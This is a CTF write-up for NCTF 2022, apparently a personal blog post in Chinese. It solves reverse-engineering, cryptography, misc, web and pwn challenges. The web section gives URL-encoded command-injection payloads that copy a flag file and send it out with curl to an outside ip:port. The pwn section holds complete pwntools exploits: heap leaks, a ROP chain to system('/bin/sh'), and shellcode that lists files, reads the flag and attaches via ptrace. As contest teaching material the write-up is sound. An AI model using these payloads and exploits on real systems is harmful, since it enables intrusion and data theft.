2022 NCTF Partly WriteUp | The Last Dance in this year

REVERSE

Cyberpunk

a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha

#include <stdio.h>
#include <stdlib.h>

int main() {
        unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
        uint8_t fuckres[42];
        for (int i = 0; i < 42; i++)
        {
                fuckres[i] = *(((char*)fuck) + i);
        }
        unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
        unsigned char flag[42];
        for (int i = 0; i < 42; i++)
        {
                flag[i] = *(((char*)fuck2) + i)-i;
                flag[i] ^= fuckres[i];
                printf("%c", flag[i]);
        }
}

ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解

from z3 import *

result = [
  0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8, 
  0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
  0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64, 
  0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
  0x75, 0x75, 0xB5, 0x33
]

for i in range(0, len(result), 2):
    x=BitVec('x', 8)
    y = BitVec('y', 8)
    s=Solver()
    s.add(x * 0x7e + y * 0x19 == result[i])
    s.add(x * 0x1f + y * 0x75 == result[i + 1])
    print(s.check())
    print((s.model()))

flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
    s += chr(i)
    print(s)

#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}

just run it

逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key

def decode(a):
    s=a.copy()
    s[0]=a[0]
    s[1]=a[1]
    s[2]=a[4]
    s[3]=a[8]
    s[4]=a[5]
    s[5]=a[2]
    s[6]=a[3]
    s[7]=a[6]
    s[8]=a[9]
    s[9]=a[12]
    s[10]=a[13]
    s[11]=a[10]
    s[12]=a[7]
    s[13]=a[11]
    s[14]=a[14]
    s[15]=a[15]
    return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
    out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
    print(chr(i),end='')

得到争取的key W1lc0menctf2o2o!

动调推出下面为SM4

box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'

其中最后sm4解密我用的是在线解密

ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto

signin

  1. MTP攻击后校正
  2. 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""

import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def attack(cipher):
    dat = []

    def getSpace(c):
        for index, x in enumerate(c):
            res = [xo.strxor(x, y) for y in c if x!=y]
            f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
            cnt = [f(pos) for pos in range(len(x))]
            for pos in range(len(x)):
                dat.append((f(pos), index, pos))

    def infer(index, pos):
        if msg[index, pos] != 0:
            return
        msg[index, pos] = ord(' ')
        for x in range(len(c)):
            if x != index:
                msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

    c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
    # print(c)

    msg = np.zeros([len(c), len(c[0])], dtype=int)

    getSpace(c)

    dat = sorted(dat)[::-1]
    for w, index, pos in dat:
        infer(index, pos)

    return [''.join([chr(c) for c in x]) for x in msg]

cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]

a1 = attack(c1)

c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
    print(a1[i],end='')
    print(a2[i], end='')

m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'

def sxor(b1, b2):
    ans = []
    for each in range(len(b1)):
        ans.append(b1[each] ^ b2[each])
    return bytes(ans)

tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)

print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
    if i % 2 == 0:
        key = tmp11
    else:
        key = tmp12
    c = b''.fromhex(C[i])
    len1 = len(c)
    if len1 != 16:
        key = key[:len1]
    msg += sxor(key, c).decode()

print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}

Coloratura

  • 随机数回溯恢复SourceImg(不足补零)
  • 异或得到flag
import sys

from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        tmp = list(img3.getpixel((j, i)))
        tmp = [int(tmp[k] ^ 0) for k in range(3)]  # 异或0
        s += tmp

s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]

from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
    predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)

_ = [predictor.backtrack_getrandbits(32) for _ in range(624)]  # 回溯到起始状态

ans = b''.join(s[-624:])

for i in range((129792 // 4)-624):
    tmp = predictor.backtrack_getrandbits(32)
    tmp = long_to_bytes(tmp)[::-1]
    tmp = list(tmp)
    if len(tmp) != 4:
        tmp = [0] + tmp
        # sys.exit()
    ans = bytes(tmp) + ans
def makeSourceImg():
    colors = ans
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
        img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}

dp_promax

dp_promax _revenge里有提示,factordb上可查,哈人

import gmpy2, libnum

n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}

misc

只因因

使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。

http://www.ncbi.nlm.nih.gov/BLAST/

image

Signin

炉边聚会

网上找的学习链接:

大神_游戏热爱者兴趣圈_游戏社区

炉石卡组代码解析

里面有现成的脚本,拼接起来,替换掉strings输出即可。

<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
    $shift = 0;
    $result = 0;
    do {
        $c = array_shift($data);
        $result |= ($c & 0x7f) << $shift;
        $shift += 7;
    }
    while ($c & 0x80);
    return $result;
}
function parse_deck($data) {
    $reserve = read_varint($data);
    if ($reserve != 0) {
        printf("Invalid deckstring");
        die;
    }
    $version = read_varint($data);
    if ($version != 1) {
        printf("Unsupported deckstring version %s", $version);
        die;
    }
    $format = read_varint($data);
    $heroes = [];
    $num_heroes = read_varint($data);
    for ($i = 0; $i < $num_heroes; $i++) {
        $heroes[] = read_varint($data);
    }
    $cards = [];
    $num_cards_x1 = read_varint($data);
    for ($i = 0; $i < $num_cards_x1; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 1];
    }
    $num_cards_x2 = read_varint($data);
    for ($i = 0; $i < $num_cards_x2; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 2];
    }
    $num_cards_xn = read_varint($data);
    for ($i = 0; $i < $num_cards_xn; $i++) {
        $card_id = read_varint($data);
        $count = read_varint($data);
        $cards[] = [$card_id, $count];
    }
    return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);

image

其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670

image

就是除以10然后正常拼接就行,字数不多可以手撕

image

qrssssssss

二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:

NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}

括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:

image

NCTF{737150-eeb-465-e91-110a8fb}

qrssssssss_revenge

这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH

所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:

image

image

然后按照掩码从0开始进行顺序拼接:

NCTF{621 
30783efd 
44b3692b 
4ddbecf}

拼接即可:NCTF{62130783efd44b3692b4ddbecf}

Signout

image

NCTF{Thanks_for_your_participation}

web

calc

这题是半个原题,过滤了#,但是没过滤',通过'''来闭合,进而执行命令

开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g,但还是读不了flag,因为名字里面有过滤字符

采取的办法,cp来绕过

/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27 

然后通过curl外带数据

/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27

参考文章

DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)

pwn

babyLinkedList

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

ezlink

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='debug')
        # self.pipe = process(['./ezlink'])
        self.pipe = remote('49.233.15.226', 8003)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendafter(b'secret', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        self.sendafter(b'content', content)

sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0') 
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))

for i in range(7):
    sh.add(b'\n')
sh.delete()

sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))

shellcode1 = asm('''

    mov edi, 1
    lea rsi, s1[rip]
    mov edx, 7
    mov eax, 1
    syscall

    xor edi, edi
    lea rsi, end[rip]
    mov edx, 0x200
    xor eax, eax
    syscall

    jmp end

s1:
    .string "Polaris"
end:
''')

shellcode2 = asm('''

    jmp start
puts:
    push rax
    push rdi
    push rsi
    push rdx
    push rbx
    xor eax, eax
puts_again:
    mov bl, byte ptr [rdi + rax]
    test bl, bl
    je puts_over
    inc eax
    jmp puts_again
puts_over:
    mov edx, eax
    mov rsi, rdi
    xor edi, edi
    inc edi
    mov eax, edi
    syscall

    xor eax, eax
    mov al, 9
    inc eax
    push rax
    mov rsi, rsp
    xor edi, edi
    inc edi
    mov edx, edi
    mov eax, edi
    syscall
    pop rax

    pop rbx
    pop rdx
    pop rsi
    pop rdi
    pop rax
    ret

start:
    mov r15d, 0x01010901
    sub r15d, 0x01010101
    add rsp, r15

    ;// mov rax, 0x10101010101676d
    ;// mov r15, 0x0101010101010101
    ;// sub rax, r15
    ;// push rax
    ;// mov rax, 0x65732f636f72702f
    ;// push rax
    ;// "/proc/self"

    ;// push 0x2e
    ;// "."

    push 0x2f
    ;// "/"

    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall  ;// open(path, O_RDONLY)
    push rax

    xor edi, edi
    mov esi, 0x01014101
    sub esi, 0x01010101
    mov edx, edi
    mov dl, 3
    mov r10d, 0x01010123
    sub r10d, 0x01010101
    mov r8d, edi
    inc r8d
    mov r9d, edi
    xor eax, eax
    mov al, 9
    syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)

    mov rsi, rax
    pop rdi
    mov edx, 0x01014101
    sub edx, 0x01010101
    mov eax, 0x010101da
    sub eax, 0x01010101
    syscall ;// getdents64(fd, buf, buf_size)

next_file:
    xor rax, rax
    mov ax, [rsi + 0x10] ;// d->d_reclen
    lea rdi, [rsi + 0x13] ;// d->d_name
    cmp dword ptr [rdi], 0x67616c66
    jz puts_flag
    call puts ;// puts(d->d_name)
    add rsi, rax
    mov rax, [rsi]
    test rax, rax
    jne next_file

    exit:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

puts_flag:
    mov rsi, rdi
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.add(flat([
    0, 
    libc_addr + 0x000000000002a3e5,
    (stack_addr & (~0xfff)),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + shellcode1)

sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)

sh.interactive()

ezshellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        # self.pipe = remote('localhost', 9999)
        self.pipe = remote('121.4.15.155', 9999)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

def ptrace_hook(_pid):
    _sh = Shell()
    shellcode = asm(f'''

        mov edi, 16 ;// PTRACE_ATTACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        ;// get_image_addr
        sub rsp, 232
        mov esi, {_pid}
        xor edx, edx
        mov edi, 12
        mov r10, rsp
        xor r8d, r8d
        xor r9d, r9d
        l1:
        mov eax, 101
        syscall
        cmp rax, 0
        jl l1

        mov rax, QWORD PTR 40[rsp]
        add rsp, 232
        sub rax, 4928

        mov edi, 5 ;// PTRACE_POKEDATA
        mov esi, {_pid}
        lea rdx, [rax + 0x4050]
        mov r10, rax
        add r10, 0x1333
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, 17 ;// PTRACE_DETACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, {_pid}
        mov esi, 18
        mov eax, 62
        syscall

    exit:
        xor edi, edi
        mov eax, 231
        syscall ;// exit

    ''')
    _sh.recvuntil(b'\n')
    # pause()
    _sh.send(shellcode)
    _sh.close()

sh = Shell()

sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')

ptrace_hook(pid)

# pause()

sh.send(asm('''

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}

发布者

AndyNoel

一杯未尽,离怀多少。